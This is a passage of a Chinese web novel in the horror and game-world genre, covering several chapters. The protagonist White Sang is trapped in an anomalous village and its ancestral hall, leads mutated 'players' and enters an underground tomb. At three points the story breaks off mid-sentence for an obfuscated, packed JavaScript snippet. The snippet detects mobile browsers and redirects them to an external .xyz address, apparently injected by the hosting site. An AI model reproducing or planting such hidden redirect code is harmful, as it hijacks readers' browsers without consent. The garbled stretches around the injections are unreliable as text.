墨守仁:“沦陷诡域,活者百不存一。” 现场突然沉默了下去,对方轻描淡写的揭开了这个世界最为残酷的一面。 白桑深吸了口气,将多余的情绪压下,继续探究‘他’身上的秘密:“那为什么我是特殊的那一个?”或者说,为什么其他人当了守山人,只能活三年,但白家人却能活六年? 墨守仁嘬着烟杆:“知道村里的祠堂之前叫什么吗?” 白桑摇头。 “白家祠堂。”墨守仁又指了指脚下的地面:“知道这个村子以前叫什么吗?” 白桑意识到了什么:“白家村?” 墨守仁点头:“Z-003号诡域的‘种子’在这里出现后,专家查了无数资料才锁定了许多年前早已拆迁的白家村,一点点摸清了Z-003的诡域核心。知道构建这个囚笼最为关键的一环是什么吗?” 白桑猜测道:“白家人?” “白家人是最好的祭品,也是最有效果的安抚剂。”墨守仁嘬着烟杆道:“其他村民是因为逃荒来了小山村,但白家人不是,白家人是办事处一个个请来的……每个白家人都是英烈。” 小山村就像一只蜡烛,用微弱的灯光抑制着黑暗的蔓延,而白家人则是一勺勺火油,用自己的性命延续蜡烛的使命。 等什么时候人耗尽了,火油烧完了,蜡烛自然也就灭了。 墨守仁和白继业在提到这些时,十分平静。 白桑察觉出了他们对死亡如此漠然的源头——异常横行的世界,他们早已习惯了死亡和牺牲,也做好了随时奔赴死亡的准备。 对和平时代的人来说,每一个个体的牺牲都是隆重且盛大的告别。 但对于这个世界的人来说,个体的死亡是指向规则的线索,是让更多人活下去的踏脚板,是连悲痛都毫无意义的催命符。 8. 小山村(7) 【界域】一解开,白继业就匆匆离开了,留下一无所知的村民们对着白继业匆忙离去的背影面面相觑。 “村长,白先生怎么走了?”村民忧心忡忡的问道,“村子又出事了?” 村民带着浓重的口音喃喃自语:“山神爷爷发怒哩,家家都得出事。” 另一个村民不由看向自家的方向:“村长,俺家小花也出事了,要不叫小树苗给俺家小花看看?” 这话一出,‘家里出事了’的那几个村民七嘴八舌道:“村长,俺家男人疯得很,叫小树苗给他看看,让他消停一会。” “闹腾得很,俺怕他跑出来,又怕他把俺爷给弄死了。” “小树苗跟俺们不一样,肯定有办法对付它们。” 村民们的声音此起彼伏,带着热切的期盼,堵得墨守仁一个劲的低头嘬烟杆。 就在此时,有村民匆匆忙忙跑进院子,对着堂屋里的人喊道:“村长,白先生出村了。” 堂屋一下子变得更为热闹,一个个问题如同热浪般,涌向人群中心的墨守仁。 “白先生怎么这时候出村?以往不都是月底才出去的吗?” “不对啊,这个月不是轮到村长去拉粮食吗?” 墨守仁嘬着烟杆,气定神闲:“都嚷嚷什么?我让他出村的,村子出了这么大的事,白先生解决不了,总得找人来解决吧。” 墨守仁的话一出,周遭的动静就小了许多,只有寥寥几人小声嘀咕:“山神爷爷的事,找外人能有什么用?” “外头的人不行。还不如快点选出守山人,去祠堂守着呢。” 墨守仁磕了磕烟杆:“行了行了,白先生办事还用你们教?都散了。该回家的回家,该下田的下田,地里的活还没干完呢……出事的那几家留一下。” 墨守仁这话一出,忧心忡忡的村民们好似一下子安心了,三三两两的四散了开去。 村子好似恢复了正常,又好似只是将那些见不得光的东西藏于暗流之中,稍有颠簸,就会再次破土而出。 等村民都走光了,只剩下家里出事的那几个村民后,墨守仁咳嗽了一声,问道:“小树苗,大壮昏过去……是怎么做到的?” 白桑不确定:“我也不清楚,可能跟屋子里的香有关?” 村民们急忙道:“俺家也上了香,但还是闹腾,可没像大壮这样昏过去。” 另一个村民坚信自己的猜测:“一定是山神爷爷在保佑小树苗哩!” “小树苗,你去看看俺家妹子,它一直砸门,俺怕它把俺家妹子的脑门砸破了。” “对对对,小树苗,你快去看看俺家爷爷,它一个劲的往地里钻,俺都把它捆起来了,还是磨得血肉模糊。” 村民的请求声此起彼伏。 白桑看了眼墨守仁,墨守仁低声问道:“大壮昏过去跟祭祀没关系?” 白桑摇头,也压低声音道:“大壮晕过去那会我连祭祀是什么都不知道。就是不知道怎么的,他就突然晕过去了。” 墨守仁沉吟了两秒:“要是棺材板在,肯定不同意你冒险。” 白桑嘿嘿一笑:“但爷爷这不是不在吗?” 墨守仁:“你确定……” 墨守仁磨磨蹭蹭的话还没说完,白桑已经接上了村民们的话茬:“我可以试试,不过不保证有效果。” 村民们拍着胸口保证道:“就算出了事也跟小树苗你没关系,都是俺家妹子自个命不好!” 达成一致后,白桑先是去了离这最近的那一家。为了避免意外,他特地让众人在门口等着,只他一人进去。 墨守仁放不下心,拦住白桑道:“我跟你一起去?” “然后我再救你一回?”白桑说完,没给墨守仁气急败坏的机会,一溜烟的跑进了院子。 可能是察觉了外面的动静,院子里猛得响起一阵不似人声的嘶吼声。 白桑锁好院子门,确保其他人进不来后,才朝声音发出的方向走去。 他越靠近,嘶吼声就越激烈,大段大段听不懂的话涌入白桑脑海,只有个别单词被破译。 【垃圾游戏】 白桑用村民给的钥匙打开挂在门上的锁头,推开关得严严实实的房间,锁链被扯动的声音噼里啪啦的响起,一个狰狞的面孔猛地朝白桑的方向扑了过来,但被身后的锁链牢牢拽住,止步于一米开外。 对方头上只剩下零星几根头发还在固执的飘舞,满嘴的牙都不见了踪影,浑身上下都在渗血,配合对方狰狞的表情,白桑险些没分辨出这就是村民提到的‘俺爷爷’。 【好可怕】【放我出去】 白桑表情古怪的看着面前龇牙咧嘴的生物,没看出对方有多害怕,只看出了怪物迫不及待想吃人的肢体语言。 如果这真是角色偏离度超过50%的惩罚,那确实挺可怕的。 白桑对暗号:“你是玩家?偏离度超过50%了?” 正朝白桑嘶吼的怪物动作一顿。 与此同时,系统提示也同步跳了出来。 【提示!当前角色偏差度: 31%、32%……】 白桑扫了眼系统提示,将注意力集中到对方的嘶吼声上,希望能从对方话里听到更多信息。 【玩家】【大佬】【救命】 还是只听懂了三个单词,白桑遗憾的叹了口气,加快语速嘱咐对方:“记住我接下来说的这些,不管周围有没有人,都不要提到游戏相关的信息。不要出现在人多的地方,待在室内,尽可能减少跟其他人接触。” 【提示!当前角色偏差度: 33%……】 这是白桑从二娃子的死总结出来的,角色偏离度超过50%后,减少角色偏离度增长速度的办法。 他们目前的状态严重偏离了‘人物设定’,只要被NPC看到就会增加角色偏离度,而角色偏离度一旦抵达80%,就会彻底死亡。 二娃子在众目睽睽下突然死亡,大概率就是因为他的异常状况暴露在太多村民面前,导致角色偏离度一路飞涨。 白桑说完后,效果立竿见影,对方不挣扎了,嘶吼声也没了。 但实话实说,就对方这个造型,直勾勾盯着白桑的模样比刚才那样还要吓人。 不管怎么样,这至少证明对方听懂并且吸取了白桑的建议。 白桑看了眼停留在33%的角色偏差度,通过跟上次涨幅的对比,总结出了‘提到游戏相关信息’增加角色偏差度的规律——‘角色偏差度’的涨幅跟关键词有关。 白桑刚才提到了玩家、角色偏差度还有游戏,这三个关键词分别给白桑增加了1%的角色偏差度,加起来一共3%。 如果想要避免提到游戏相关信息就涨角色偏差度的情况,那他在接下来的对话中必须斟酌用词,规避这些“关键词”。 白桑:“你还记得之前发生了什么吗?我是说更早之前——对了,有件事得先说清楚,你说的话,我只能听懂几个单词,所以沟通上可能会出现偏差。” 对方盯着白桑看了半天,似乎是在思考白桑的问题,又或许是在思考如何避免提到‘游戏’、‘角色偏差度’这一类关键词。 片刻后,他点了点头,用白桑听不懂的嘶吼声慢慢悠悠的说了些什么,不幸的是,对方说的话太短, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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白桑继续叮嘱道:“接下来我去跟其他人碰面。你们目前这个情况不适合独自行动,我会想办法把你们聚在一起。具体要怎么做,我已经有方案了。你们先睡一觉,方便我获取其他人的信任,顺便减少其他人对你们目前这个模样的恐慌。” 见对面的人依旧保持着呆滞的状态,他又补充道:“你要是同意的话,就点点头……” 话还没说完,对面就开始疯狂点头。 白桑强调了一遍:“记住我刚才说的那几点,别让偏差度涨得太快,不然说不定你们什么时候就突然暴毙了。” 达成一致后,白桑借着香炉里的香弄晕了对方,将这家主人喊了进来,叮嘱对方将人放回小房间的床上,之后最好不要靠近,让他独自待着。 “解决了?”墨守仁进屋转了圈,嘬着烟杆问白桑:“不把它捆起来,醒了怎么办?再折腾一遍?” 白桑说出了自己的想法:“我想把他们关到祠堂去。” “去祠堂?他们去可以,你不能去。”墨守仁一个劲的摇头:“棺材板不会同意的。” 见墨守仁态度坚决,白桑退了一步:“我不进去,就在外头看看……” 墨守仁还是摇头:“不行,等你爷爷把城里的消息带回来再说。” 白继业能从城里带回来什么消息,白桑不清楚,但白继业回来后,肯定不会同意让他靠近祠堂的提议。 ‘活下去’这个主线任务听起来不难,但按照这个游戏的尿性,什么都不做绝对活不下去。所以在知晓自己的特殊之处后,白桑就已经打定主意要去祠堂走一趟,探探山神爷爷的底了。 之前说要当守山人也不是随口说笑,他真是这么打算的。 别说什么当了守山人最多只能活六年,就白桑这一天的遭遇来看,不当守山人,他连一周都活不过去。这么一对比,当守山人那妥妥算得上是延年益寿了。 9. 小山村(8) 天色阴沉沉的,看不到一丝阳光。 低矮的土屋前,时不时响起的嘶吼声终于消停了,刘大力一只手牵着孩子,另一只手拍着自家老婆子的背,认真听着村长的话。 这已经是墨守仁叮嘱注意事项的第三家了:“虽然它现在昏迷了,但指不定什么时候就醒了,你们注意点……” 见墨守仁没空搭理自己,白桑轻手轻脚的沿着墙根往外偷溜……还没走两步,脖子后头突然一紧。 墨守仁一只手提拉着白桑,另一只手朝身后挥了挥,让刘大力忙他自个的事去。 墨守仁:“你偷偷摸摸想去哪?” 白桑眼珠子转了一圈,还没开口狡辩,墨守仁冷笑一声:“在棺材板回来前,你都给我老老实实呆着。” 白桑实在挣脱不了墨守仁的无情铁手,遂退而求其次,选择以理动人:“就是考虑到了我爷爷的情况,所以我才想趁着他没回村前,去祠堂看看。” 墨守仁:“我听着呢,你继续编。” 白桑嘴角抽了抽,在墨守仁身上幻视了熟悉的身影——明明是不同的社会背景和成长环境,但眼前的墨守仁却奇迹般的跟他记忆里的墨爷爷重叠在了一起。 没听见白桑的声音,墨守仁低头看了他一眼:“不吭声了?编不出来了?那就老老实实等你爷爷回来,别老想折腾幺蛾子。” 白桑认真道:“村长,我十六了,不是六岁,我能自己做决定。” 墨守仁松开拽着他衣领的手:“有本事当着你爷爷的面把这话说一遍。” 白桑理直气壮:“我没这个本事。所以更得趁着他没回来之前,把该做的事做了。” 说完,白桑撒腿就跑。 墨守仁追在他身后,喊道:“你给我站住!” 白桑跑得飞快,左脚像是不止疲惫般,源源不断的给白桑提供能量,楞是将墨守仁遛到了村子北边。 村子靠着山壁,北边坐落着一座年代久远的古建筑,建筑外形四四方方,乍一看就像一张大张的嘴。屋檐下挂着两个大红灯笼,随风摇动,门内的八仙桌上摆放着无字牌位和香炉。 见着这个奇异建筑的模样,白桑不由放慢了脚步,墨守仁忙拽住他的衣领,免得这小子真不管不顾跑进祠堂去。 墨守仁警惕的看着屋檐下无风自动的大红灯笼:“门开了,灯笼也亮了,它在等人。” 至于等的是谁,显然毋庸置疑。 墨守仁愈发烦躁:“上次选出来的守山人到了祠堂门口,怎么都打不开祠堂门……”所以才被‘退’了回来。 周遭的风声越发激烈,但身处其中的白桑和墨守仁完全没察觉到异常。 直到一阵风吹过,白桑眼前一花,猛然发现他跟墨守仁之间隔着十几米远,一道高高的门槛横亘在他面前。 墨守仁的脸上是跟白桑如出一辙的愕然,他朝白桑的方向走了好几步,又停下了动作,远远的朝白桑喊道:“灯笼灭了,我再靠近的话,门可能也会关上。你试试看能不能从祠堂出来。” 白桑往前走了两步,顺利的跨过了门槛,但出现在他眼前的却不是空地,而是熟悉的八仙桌。跟刚才不同的是,这次门槛在他身后,就像是他刚刚一个跨步,从门外进入了祠堂一般。 白桑朝墨守仁摇头:“出不去。” 墨守仁脸色铁青:“早知道……”他大概是想说些早知道就不让白桑靠近祠堂之类的话,但意识到现在说这些毫无意义,就没再说下去。 两人遥遥相望,墨守仁嘬着烟杆,不抱希望的道:“你再试试,看能不能用其他办法出来。” 白桑安慰村长:“我去看看祠堂有没有其他出口。村长爷爷,你别急,实在不行,大不了我就留下来当守山人呗。对了,你记得把那几个‘犯病’的人送到祠堂来,别让村子出事。” 墨守仁还想说什么,但大概是‘山神爷爷’彻底失去了耐心,祠堂大门轰然合拢,彻底隔绝了内外。 白桑只觉眼前一黑,然后一盏盏蜡烛在白桑身后亮起,整个祠堂霎时灯火通明。 虽然没报多大希望,但白桑还是做了最后的尝试——他伸手推了推祠堂大门,紧闭的大门一动不动,像是焊死在了地上。 白桑打量了一遍祠堂内的摆设。 最中间的八仙桌、香炉、无字牌位都是熟悉的老朋友了,除此之外,就是那一根根从墙上伸出来的烛台了。 烛台是青铜制品,外形看起来像一只只朝上方伸出的‘手’,蜡烛立在‘手心’,跃动着盈盈绿光,将周遭染上一层阴森森的惨绿色。 它跟祠堂完全是两个画风,更像是‘那座墓’的某部分跨越空间和时间的限制,出现在了白桑面前。 正常情况下的祠堂应该不存在这些青铜烛台,不然的话,白继业和墨守仁一早就该锁定‘墓主人’了,而不是始终在‘山神’身上打转。 白桑对这些画风阴森的‘烛台’上下其手,就差将它拔出来试试能不能带走了——顺带一提,这些烛台跟大门一样,都彻底焊死在墙上,压根没法拔出来。 一无所获,白桑又转向了其他地方,但凡是能挪动的物件全都搬开来找了一遍,就差敲着地砖一个个听声音看有没有暗道了。 功夫不负有心人,挪开无字牌位时,白桑一眼就看到牌位底下垫着本薄薄的册子。 他轻轻掸去册子上的灰尘,封面上的字迹模糊不清,整本册子牢牢黏在一起,压根无法被翻开。 白桑仔细研究了一遍,发现不管他怎么用力,册子都没有任何损坏,更别说黏在一起的纸张了,它给白桑的感觉更像是浑然一体的产物。 能出现在牌位下,又表现得如此不同凡响,就差把‘我身上有大秘密’写在纸上了,白桑自然也不会错过,他将册子往自己口袋里一装,继续搜刮了起来。 * “村长,真要把他们送去祠堂?” 村民们一边抬着担架,一边看向祠堂的方向,目光里有着显而易见的敬畏。 “山神爷爷不会发怒吧?” 墨守仁神情凝重的注视着祠堂的方向:“反正小树苗是这么说的。” 他身后的村民松了口气:“那没事哩,小树苗有山神爷爷保佑,肯定不会出事。” 墨守仁眯着眼张望着祠堂的方向,隐约看到了红光。 墨守仁加快脚步:“祠堂门口的灯笼又亮了?” 村民跟着加快了脚步,观察祠堂那边的情况:“大门也打开了……小树苗呢?他跑哪去了?” 众人停在了祠堂外,没有继续靠近。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039831|162470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小树苗?小树苗?人呢?” 村民扯着嗓子喊了好几声,也没见白桑出现,下意识的看向墨守仁。 墨守仁摩挲着烟杆,往前走了一步,大红灯笼毫无反应,他一路走到祠堂门前,也没出现任何意外状况。 村民们窃窃私语:“怎么回事?祠堂又让进了?” 墨守仁进了祠堂,发现祠堂内所有东西都覆盖着一层厚厚的灰,像是许久没人住过,唯有香炉簇新,点着一根徐徐燃烧的香。 “谁上的香?” “之前只有小树苗进了祠堂,应该是小树苗上的香吧。” 外面的天光照不进祠堂,祠堂内又没点灯,光线异常昏暗,窃窃私语的村民们在外面探头探脑,看不清祠堂内的具体情况。 等墨守仁出来,村民们七嘴八舌的发问:“村长,找到小树苗了吗?” 墨守仁摇头:“没有。倒是祠堂看起来已经有很长一段时间没住过人了。” 其他村民忙道:“那不能,之前守山人不都住在祠堂吗?” “对对对,我们还给他们送东西呢,要是没住人的话,那我们送的东西都去哪了?” 无数个念头在墨守仁脑海里划过,他脸色一沉,磕了磕烟杆:“所有人立刻离开这。” 村民看向担架,担架上盖着白布,遮住了‘病人’的模样:“那他们怎么办?咱们再带回去?” 墨守仁:“就留在祠堂,让小树苗看着。” 村民不解:“小树苗不是不见了吗?” 墨守仁抽了口烟杆,脸色阴沉沉的道:“不一定是他不见了,可能只是我们看不见他而已。就像是祠堂,我们以前看它多有生活气息啊,今天我在祠堂里转了一圈,家具上堆的灰都有三尺高了,不知道多少年没住过人了!” 见墨守仁的神情实在太糟糕,村民们没再继续追问,草草的将担架留在了祠堂,就迅速撤离了。 如同暴风雨逼近时,天地间的生物会有所察觉一般。 哪怕远离了祠堂,墨守仁的焦虑也没有减弱。相反,随着时间一分一秒的流逝,他越发坐立不安,每每想起祠堂如今破败无人的模样,就心惊肉跳,有什么东西超出了掌控,而他们在此之前却一无所知。 不断加重的危机感压倒了理智,在天色彻底暗下去前,墨守仁终于下定了决心,叫上村子里所有人,匆忙收拾了东西下山。 人流在山上汇聚成一条蜿蜒长蛇,但就连抱在怀里的孩子都没有啼哭出声,被带上的家畜扑棱着翅膀,恨不得挣脱束缚,朝山下飞奔而去,狗群躁动不安,追咬着每个放慢脚步的人,逼迫着所有人加快速度。 月光照亮山间,忽而,地动山摇,血色骤然弥漫,喧嚣的山林鸦雀无声。 “血,好多血,快跑!” 身后血雾不断弥漫,人群发出了撕心裂肺的喊声。 所有人都朝着山下飞奔,收拾好的行李掉了满地,也没人去捡,还有不少人为了加快速度主动放弃了家当。 寂静的血雾在身后弥漫,死亡的气息一点点迫近。就在所有人都以为逃不过这一劫时,身后的动静突然消失了。 一道无形的界限划开了大山与外面的世界,山脚下的村民们瘫倒在地,看着那层薄薄的血雾笼罩连绵山峰,遮盖所有生机。 10. 小山村(9) 时间回到这天下午,祠堂。 门口传来了动静。 白桑下意识的抬头,就见四个担架漂浮在空中,一寸寸的挪到祠堂内,活像是担架成精了一般。 但只要仔细观察,就会发现端倪:看似是担架飘在空中,但地上的灰尘印出了一个个脚印,担架实际上是被人抬着往祠堂内走的。 只是担架能被白桑看见,抬着担架的那些人在此时此刻的白桑眼里,却无法被窥见。 担架停在祠堂中后,所有动静都消失了。 这算什么?里世界跟真实世界的交错? 秉承着事已至此再坏也坏不到哪去的念头,白桑毫不犹豫的掀开了担架上的白布,狰狞且不似人的生物映入视线,正是白桑之前嘱咐墨守仁送来祠堂的那四个‘玩家’。 为什么村民们进不来里世界?玩家却可以? 这个疑惑冒出的瞬间,白桑立马想起了之前‘祭祀’时,大壮作为供品出现在白雾中那一幕。 或许,对Z-003号诡域而言,身为‘外来者’的玩家和村民相比,是完全不同的存在。 “醒醒!” 白桑晃了大壮半天,见他没反应,抬手给了他一个大嘴巴子。 大壮嗷的一声睁开了眼睛,看到白桑后,狰狞的表情愈发可怖,张嘴发出一长串嚎叫。 Z-003号诡域有多可怕还没完全呈现,但玩家在外形方面俨然有过之而无不及。 白桑如法炮制,挨个‘唤醒’了其他人。 一时间,现场充斥着此起彼伏的吼叫声,大段大段白桑听不懂的话混在一起,偶尔蹦出一两个能听懂的单词。 【警告】【注意事项】【难度】 【大佬】【大佬】【大佬】 一连听到了好几个重复的名词,白桑险些以为自己跟玩家的交流障碍又增多了。 不过见他们嚎得你来我往,白桑立马意识到了一点,虽然他跟其他玩家的交流存在明显的障碍,但其他玩家之间显然并不存在这个问题,哪怕都变异成‘奇行种’了,都能靠嗷嗷叫来进行交流。 这总不能是因为他们的角色偏离度都在50%以上导致的吧?合着不合群的居然只有我自己? 四人一边交流一边频频看向白桑,画面活像是怪物凑在一起商量怎么吃人。 白桑挥散错觉,主动参与到‘玩家’们的对话中,率先提出重点:“我听不懂你们在说什么。” 又是一阵嘶吼声,提炼出【听话】【合作】【通关】这三个关键词的白桑试着组合关键词:“你们的意思是,接下来你们都听我的,我们一起合作,推进主线,争取顺利通关?” 玩家点头如捣蒜,确认白桑理解了他们的意思之后,就开始满世界翻箱倒柜了。 这一幕甚至让白桑有些亲切感——他玩RPG游戏的时候也这样来着——但很快就在过于诡异的画面中转为了无言以对。 RPG游戏大多是像素风,但玩家眼下一个个都长得跟‘奇行种’似的,翻箱倒柜的画风自然也相当与众不同。 大壮挪着小碎步在白桑周围‘飘’来‘飘’去;年纪最大的老李像蚯蚓般用身体磨青石板;小花双腿合拢在地上跳来跳去,像是根弹簧;还有中年人模样的老周团成球状,拍着肚皮在地上滚来滚去…… 格格不入的白桑往后退了好几步,给他们让出自由发挥的空间,突然明白为什么‘游戏’才开始没多久,这群人的角色偏离度就超过50%了…… 白桑猛然意识到了一点——如果他们的角色偏离度超过50%,是因为这些迥异于常人的行为。那意味着这些非人举止并不是角色偏离度超过50%后游戏系统强加给他们的‘惩罚’,而是他们原本就有的行为模式。 这么一想,沟通时的对话障碍也让白桑在意了起来。如果这不是系统惩罚,而是他们本来就无法沟通呢? 如果并非如此的话,那为什么他们碰面后,完全没有对自己突然出现在‘游戏’里这一点表示过任何不解、恐惧和怀疑? 白桑一路退到墙上,直到退无可退,才停下了动作。 他有一个匪夷所思的猜测——这四人确实是‘玩家’,但未必是跟他一样的‘玩家’。 梦里的场景如同最为醒目的提示,帮助白桑将一切串联起来——涌入地球的怪物未必是游戏BOSS,也有可能是‘玩家’,而白桑可能才是误入其中的‘bug’。 因为没有NPC而放飞自我的‘玩家们’将祠堂刨了一遍,在一无所获下,硬生生挖出了一个大坑,然后欢天喜地的聚到了白桑身边。 【路】【下去】【大佬】 白桑努力说服自己:虽然‘玩家’长得不像人,但起码他们的态度很友好,眼神很真挚,笑容很喜悦…… 好吧,对方那狰狞的表情,实在看不出一丁点跟友好、真挚和喜悦相关的正面情绪,相反,白桑总觉得他们凑过来是在欢天喜地的商量怎么吃他…… 但眼下这个情况,露怯才是自寻死路。他在语言不通的情况下获得了指挥权,就足以证明对方没有意识到他身上的不对劲。 白桑稳住表情,装模作样的问道:“这个洞是之前就有的,还是你们刚挖出来的?” 说话间,他走到被挖得乱七八糟的洞口前,地面原本铺满了石砖,眼下碎成了无数小块(可见大力确实出奇迹),不甘不愿的露出了底下的泥土。 洞口旁堆着泥,四处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039832|162470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可见利爪留下的刨土痕迹,一道道的痕迹看起来相当触目惊心。可见奇行种状态的‘玩家’也不是完全没有好处,至少还有力大无比、指甲尖锐这些优点。 不过‘玩家’也没真逆天到在这么短的时间内挖出一条地底通道来——被刨开的土层只有上方那短短一截,泥土下方是砖石结构,显然,只有最上方那一层土质结构是‘玩家’挖开的,这个通道是原本就有的。 白桑看看这个暗道,再看看异常兴奋的‘玩家’们,他们那垂涎三尺的表情已经给了他答案——反正不下去肯定是不行的,于是他顺水推舟:“既然都到这了,那我们就下去看看情况吧。” 【同意】【论坛】【投诉】 白桑的话得到了一致认同,似乎还激起了一些其他东西,以至于玩家们一边滚来滚去、飘来飘去、跳来跳去,一边对游戏难度进行了批判。 白桑艰难分辨着自己能听懂的单词,顺带论证了自己的猜测——他的情况跟‘玩家’并不完全相同。 除了提醒他角色偏离度增加的‘系统通知’外,白桑就没见到过其他游戏功能,所以很难有自己在玩游戏的实感。但真正的‘付费玩家’在除去游戏主体外,似乎还有对应的其他服务——比如说游戏论坛之类的。 白桑竖着耳朵听他们交流,正要进地道,像蚯蚓般挪动的老李突然挪到了他前方,拦住了他的去路。 【打头】【中间】【安全】 白桑:“他打头,我走中间,其他人保护我,这样更安全?” 其他人纷纷点头,对白桑的‘阅读理解能力’表示了高度认可。 白桑这么安排不奇怪,但他们主动要求这么做,有点超出白桑的预料。 白桑:“那万一遇到什么的话,你们很危险。” 【大佬】【全村的希望】 得亏有四个人,说得话多,能听懂的单词也变多了。 白桑组合了下关键词,多少理解了他们这么做的原因——角色偏离度已经超过50%的他们已经失败了大半,所以更要保护有可能通关的火种,也就是目前还能维持人形、角色偏离度远低于50%的‘大佬’。 毕竟对‘玩家’而言,游戏中的死亡并不是一切的结束,最多意味着这轮游戏通关失败。 这也解释了为什么白桑最初见到这些玩家时,他们完全没去思考角色偏离度上涨的规则,而是一个劲的试图逃跑,哪怕角色偏差度飞快上涨也无所畏惧。 白桑往后退了一步,让老李在他前面进了地道,他跟在老李身后,其他三人蹦蹦跳跳、滚来滚来、飘来飘去的落在队伍后方。 如果不考虑‘玩家’的外在形象的话,那这一幕可以说是相当有游戏气氛了。 11. 小山村(10) 通道起初极为狭隘,下方没有任何光源,好似随时会冒出什么妖魔鬼怪。 不过老张他们大概不存在如此丰富的想象力,更不可能对此感到恐惧了。 确定好先后顺序,老张一马当先,爬进地道。伴随着窸窸窣窣的摩擦声,老张的身影在地道中蛹动,逐渐跟白桑拉开了距离。 众人在没有光源的狭隘通道中爬了十几步,豁然开朗,柔和的光线驱散黑暗,照亮两旁的壁画。 白桑不由放慢了脚步,就连玩家们折腾出的热闹动静都消停了几分。 一盏盏烛台在甬道两旁延伸,如同一只只从墙壁中伸出的人手,温柔的托举着手心的膏状物。墙壁上勾勒着大片壁画,色彩浓艳,夺人眼球。 青石板铺成的道路笔直向前,每隔几十米摆放着不同形状的石雕,身形高大,面目狰狞,形状古怪。 白桑的目光在壁画上停顿了一瞬,但很快反应了过来,扭头看向他们身后,来时的‘路’悄无声息的消失了,他们身后只有一面山壁。 白桑摸了下兜,确认册子还在兜里,就放下了对于来路的关注。 比起白桑的淡定,小花他们对‘突然消失的地道’表现出了极大的探究欲,对着山壁又撞又摸又爬……一副想在山壁上找出一条隐藏暗道来的模样。 嘶吼不断回荡,只言片语飘入了白桑耳中。 【解谜】【难度】【好玩】 白桑怎么都没想到他居然能在一个场景里同时感受到恐怖片的压迫感和玩家的无序感……如果现场不是只有他‘疑似’死了没法复活的话,那就更好了。 任由玩家嬉戏打闹,白桑的注意力转移到了壁画上。鲜艳的色彩勾勒出大坨大坨的色块,不讲理的叠加在一起,乍一看像是血色裹挟着大片黑色不住翻滚,又像是毫无指向性的胡乱拼凑。 只看了几秒,白桑就感到一阵头晕目眩,脑仁一抽一抽的疼,似乎有无数人发出撕心裂肺的喊声,又好似有人在他耳边窃窃私语…… 在白桑失去思考能力前,闭目的瞳孔缓缓睁开眼睑,慈悲的注视着他。 世界安静了下来,肉·体的感知重新回归。 白桑察觉到自己正在被人疯狂摇晃,熟悉的嘶吼声此起彼伏,有种不震碎耳膜不罢休的决然。 【大佬】【血】【哇哇哇】 “别晃了,再晃我要吐了。” 察觉脸上湿漉漉的,白桑伸手抹了下,看到了满手的血。 疼,哪都疼,像被人暴揍了一顿。又像身体跟灵魂不匹配,大脑发出指令后,身体慢半拍才会做出相应动作。 白桑毫不怀疑,刚刚如果不是血色瞳孔莫名有了反应,他这会大概已经凉了。 这里比小山村危险多了,哪怕Z-003没想对白桑做什么,但仅仅只是它本身所具有的特殊之处,就足够让他死好几次了。 白桑嘱咐小花他们:“很危险,不要乱碰,不要乱看。” 小花他们使劲点头,叽里咕噜的说了一长串白桑听不懂的话,白桑跟他们面面相觑,大壮干脆利落的上前,一把背起白桑,小碎步挪动,‘飘’在老张身后,跟着往前走。 还别说,大壮确实是现场唯一一个合适的人选。除了他之外,其他人不是在地上爬就是在地上滚,还有一个在蹦蹦跳跳…… 白桑趴在大壮背上,一边擦干脸上的血,一边关注甬道两侧的情况。 吸收了壁画的教训,白桑没敢认真打量,只用余光瞄上两眼。 石雕在烛光的照射下,投射出长长的影子,随着白桑一行人匆匆忙忙的路过,影子缓缓转过头,眺望他们远去的背影。 白桑心头一跳,发现原本面朝甬道的石雕不知道什么时候变成了转头看向他们的姿势。 白桑收回视线,低声催促:“快走,别停。” 老张爬得飞快,一行人在甬道中飞奔,一个岔道都没遇到,就好似整座墓只有一条主干道,笔直的通往前方。 不知道什么时候,身后响起了窸窸窣窣的动静,有什么东西暗中跟上了他们。 白桑用余光瞄了眼身后,烛光蒙着一层青色。青光照在石板上,将死者从另一个世界接引到了此地。 霎时,人影幢幢。 衣着鲜亮的侍女排着长队,低头垂目,手捧各色物件,脚下无声的朝前走去。 守卫全副武装,五步一岗,目光炯炯,察觉到白桑的视线,守卫缓慢扭头…… 白桑‘唰’的一下收回视线,身后的窸窣声如影随形。他们走过的路都‘热闹’了起来,侍女和守卫从青色烛光中浮现,像还活着时那般履行自己的职责。 Z-003没有在‘路上’弄死他们的想法,那些东西跟在他们身后,像是恭迎贵客,又像是督促他们加快脚步。 墓主人什么身份?死后还能有这么大排场? 这座墓展现在白桑面前的东西越多,他生出的疑惑也越多,最终堆积成一个模糊的形象。 笔直向前的道路止步于地下暗河。 暗河极为宽阔,水流湍湍,抬眼看去,就见对岸立着一座流光溢彩的高塔,像是天柱般擎起了这座大墓。 眺望对岸的众人不由发出了嘶吼声,既在感叹着这一幕,也在讨论怎么渡过暗河。 白桑听着关键词,对比自己见到的场景,发现了问题:“你们没看到‘桥’?” 小花他们朝白桑所指的方向看去,空无一物的河岸上风浪四起,河水扑打着两岸 